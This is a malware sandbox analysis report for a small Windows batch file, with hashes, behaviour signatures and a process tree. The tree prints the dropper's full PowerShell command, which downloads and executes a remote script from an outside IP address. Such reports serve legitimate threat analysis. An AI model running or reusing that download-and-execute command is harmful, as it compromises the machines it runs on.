953b3d8b5ecaced21d0f1cf5c7e116715ef6f3da45ee1788cbd867c4d0508589

Analysis

max time kernel
62s
max time network
75s
platform
windows7_x64
resource
win7
submitted
14-07-2020 18:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4b173a78abd9946d4d62ac1747f6b27b.bat
Size

214B
MD5

4169794796eef3d174ede39b9bd8ed3b
SHA1

ee75d44e353e2b6873ebbc0295b3d3cd6466f9bd
SHA256

953b3d8b5ecaced21d0f1cf5c7e116715ef6f3da45ee1788cbd867c4d0508589
SHA512

8abe81aae9f0e9ac9966713c66ee8a762d31889d6d0a763da4912f1f3a207932e6a0ed7ab22d38f3ee6c4e42d7b4d2886fc98c0b408a7c15aff0cf8e3a4ae623

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/4b173a78abd9946d4d62ac1747f6b27b

Signatures

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	Process	procid_target
PID 1104 wrote to memory of 864	1104	cmd.exe	25
PID 1104 wrote to memory of 864	1104	cmd.exe	25
PID 1104 wrote to memory of 864	1104	cmd.exe	25
PID 1104 wrote to memory of 864	1104	cmd.exe	25

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid	Process
864	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	864	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
864	powershell.exe
864	powershell.exe

Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
3	864	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\4b173a78abd9946d4d62ac1747f6b27b.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1104
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/4b173a78abd9946d4d62ac1747f6b27b');Invoke-REHFNXV;Start-Sleep -s 10000"
  2⤵
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  - Blacklisted process makes network request
  PID:864

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads